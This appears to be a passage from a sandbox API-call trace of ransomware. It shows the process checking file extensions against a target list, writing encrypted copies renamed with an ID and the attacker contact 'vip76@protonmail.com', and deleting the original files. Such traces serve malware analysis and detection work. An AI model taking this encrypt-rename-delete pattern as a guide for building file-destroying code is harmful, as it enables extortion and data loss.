	[0061.494] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.495] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0061.495] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.495] CloseHandle (hObject=0x2f4) returned 1
	[0061.498] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.498] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.500] CloseHandle (hObject=0x2e4) returned 1
	[0061.500] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.500] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1
	[0061.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.500] lstrlenW (lpString=".doc") returned 4
	[0061.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.500] lstrlenW (lpString=".docx") returned 5
	[0061.500] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.501] lstrlenW (lpString=".pdf") returned 4
	[0061.501] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.501] lstrlenW (lpString=".xls") returned 4
	[0061.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.501] lstrlenW (lpString=".xlsx") returned 5
	[0061.501] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.501] lstrlenW (lpString=".ppt") returned 4
	[0061.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.501] lstrlenW (lpString=".zip") returned 4
	[0061.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.501] lstrlenW (lpString=".rar") returned 4
	[0061.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.501] lstrlenW (lpString=".bz2") returned 4
	[0061.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.501] lstrlenW (lpString=".7z") returned 3
	[0061.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.501] lstrlenW (lpString=".dbf") returned 4
	[0061.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.501] lstrlenW (lpString=".1cd") returned 4
	[0061.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.501] lstrlenW (lpString=".jpg") returned 4
	[0061.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.502] lstrlenW (lpString=".doc") returned 4
	[0061.502] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.502] lstrlenW (lpString=".docx") returned 5
	[0061.502] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.502] lstrlenW (lpString=".pdf") returned 4
	[0061.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.502] lstrlenW (lpString=".xls") returned 4
	[0061.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.502] lstrlenW (lpString=".xlsx") returned 5
	[0061.502] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.502] lstrlenW (lpString=".ppt") returned 4
	[0061.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.502] lstrlenW (lpString=".zip") returned 4
	[0061.502] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.502] lstrlenW (lpString=".rar") returned 4
	[0061.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.502] lstrlenW (lpString=".bz2") returned 4
	[0061.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.502] lstrlenW (lpString=".7z") returned 3
	[0061.502] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.502] lstrlenW (lpString=".dbf") returned 4
	[0061.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.503] lstrlenW (lpString=".1cd") returned 4
	[0061.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0061.503] lstrlenW (lpString=".jpg") returned 4
	[0061.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.503] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.503] lstrlenW (lpString="eula.rtf") returned 8
	[0061.503] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.503] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=10125) returned 1
	[0061.503] CloseHandle (hObject=0x2e4) returned 1
	[0061.503] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80
	[0061.504] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.504] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.504] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.504] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.504] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.504] GetLastError () returned 0x0
	[0061.504] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x278d, lpOverlapped=0x0) returned 1
	[0061.716] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2790, lpOverlapped=0x0) returned 1
	[0061.717] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.718] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0061.718] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.718] CloseHandle (hObject=0x2f4) returned 1
	[0061.719] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.719] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.720] CloseHandle (hObject=0x2e4) returned 1
	[0061.720] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.720] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1
	[0061.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.720] lstrlenW (lpString=".doc") returned 4
	[0061.720] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.720] lstrlenW (lpString=".docx") returned 5
	[0061.720] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.720] lstrlenW (lpString=".pdf") returned 4
	[0061.720] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.720] lstrlenW (lpString=".xls") returned 4
	[0061.721] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.721] lstrlenW (lpString=".xlsx") returned 5
	[0061.721] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.721] lstrlenW (lpString=".ppt") returned 4
	[0061.721] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.721] lstrlenW (lpString=".zip") returned 4
	[0061.721] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.721] lstrlenW (lpString=".rar") returned 4
	[0061.721] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString=".bz2") returned 4
	[0061.721] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString=".7z") returned 3
	[0061.721] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.721] lstrlenW (lpString=".dbf") returned 4
	[0061.721] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.721] lstrlenW (lpString=".1cd") returned 4
	[0061.721] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.721] lstrlenW (lpString=".jpg") returned 4
	[0061.721] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.721] lstrlenW (lpString=".doc") returned 4
	[0061.721] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString=".docx") returned 5
	[0061.721] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.721] lstrlenW (lpString=".pdf") returned 4
	[0061.721] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.721] lstrlenW (lpString=".xls") returned 4
	[0061.722] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.722] lstrlenW (lpString=".xlsx") returned 5
	[0061.722] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.722] lstrlenW (lpString=".ppt") returned 4
	[0061.722] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.722] lstrlenW (lpString=".zip") returned 4
	[0061.722] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.722] lstrlenW (lpString=".rar") returned 4
	[0061.722] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.722] lstrlenW (lpString=".bz2") returned 4
	[0061.722] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.722] lstrlenW (lpString=".7z") returned 3
	[0061.722] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.722] lstrlenW (lpString=".dbf") returned 4
	[0061.722] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.722] lstrlenW (lpString=".1cd") returned 4
	[0061.722] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0061.722] lstrlenW (lpString=".jpg") returned 4
	[0061.722] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.722] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0061.722] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.899] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=68226) returned 1
	[0061.899] CloseHandle (hObject=0x2f8) returned 1
	[0061.899] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80
	[0061.900] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.900] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.900] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.900] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.900] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0061.900] GetLastError () returned 0x0
	[0061.900] ReadFile (in: hFile=0x2f8, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x10a82, lpOverlapped=0x0) returned 1
	[0061.904] WriteFile (in: hFile=0x328, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x10a90, lpOverlapped=0x0) returned 1
	[0061.906] ReadFile (in: hFile=0x2f8, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.906] WriteFile (in: hFile=0x328, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0061.906] SetEndOfFile (hFile=0x328) returned 1
	[0061.906] CloseHandle (hObject=0x328) returned 1
	[0061.908] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.909] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.910] CloseHandle (hObject=0x2f8) returned 1
	[0061.910] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.910] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1
	[0061.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.911] lstrlenW (lpString=".doc") returned 4
	[0061.911] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.911] lstrlenW (lpString=".docx") returned 5
	[0061.911] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.911] lstrlenW (lpString=".pdf") returned 4
	[0061.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.911] lstrlenW (lpString=".xls") returned 4
	[0061.911] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.911] lstrlenW (lpString=".xlsx") returned 5
	[0061.911] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.911] lstrlenW (lpString=".ppt") returned 4
	[0061.911] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.911] lstrlenW (lpString=".zip") returned 4
	[0061.911] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.911] lstrlenW (lpString=".rar") returned 4
	[0061.911] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.911] lstrlenW (lpString=".bz2") returned 4
	[0061.911] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.911] lstrlenW (lpString=".7z") returned 3
	[0061.911] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.911] lstrlenW (lpString=".dbf") returned 4
	[0061.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.911] lstrlenW (lpString=".1cd") returned 4
	[0061.911] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.912] lstrlenW (lpString=".jpg") returned 4
	[0061.912] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.912] lstrlenW (lpString=".doc") returned 4
	[0061.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString=".docx") returned 5
	[0061.912] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.912] lstrlenW (lpString=".pdf") returned 4
	[0061.912] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString=".xls") returned 4
	[0061.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString=".xlsx") returned 5
	[0061.912] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.912] lstrlenW (lpString=".ppt") returned 4
	[0061.912] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.912] lstrlenW (lpString=".zip") returned 4
	[0061.912] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.912] lstrlenW (lpString=".rar") returned 4
	[0061.912] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString=".bz2") returned 4
	[0061.912] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString=".7z") returned 3
	[0061.912] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.912] lstrlenW (lpString=".dbf") returned 4
	[0061.912] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.912] lstrlenW (lpString=".1cd") returned 4
	[0061.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0061.913] lstrlenW (lpString=".jpg") returned 4
	[0061.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.913] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.913] lstrlenW (lpString="eula.rtf") returned 8
	[0061.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.913] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=12687) returned 1
	[0061.913] CloseHandle (hObject=0x2f8) returned 1
	[0061.913] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80
	[0061.913] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.913] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.914] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.914] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0061.914] GetLastError () returned 0x0
	[0061.914] ReadFile (in: hFile=0x2f8, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x318f, lpOverlapped=0x0) returned 1
	[0061.996] WriteFile (in: hFile=0x328, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x3190, lpOverlapped=0x0) returned 1
	[0061.997] ReadFile (in: hFile=0x2f8, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.997] WriteFile (in: hFile=0x328, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0061.998] SetEndOfFile (hFile=0x328) returned 1
	[0061.998] CloseHandle (hObject=0x328) returned 1
	[0062.003] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.003] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.004] CloseHandle (hObject=0x2f8) returned 1
	[0062.004] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.004] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1
	[0062.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.005] lstrlenW (lpString=".doc") returned 4
	[0062.005] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString=".docx") returned 5
	[0062.005] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.005] lstrlenW (lpString=".pdf") returned 4
	[0062.005] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString=".xls") returned 4
	[0062.005] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.005] lstrlenW (lpString=".xlsx") returned 5
	[0062.005] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.005] lstrlenW (lpString=".ppt") returned 4
	[0062.005] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
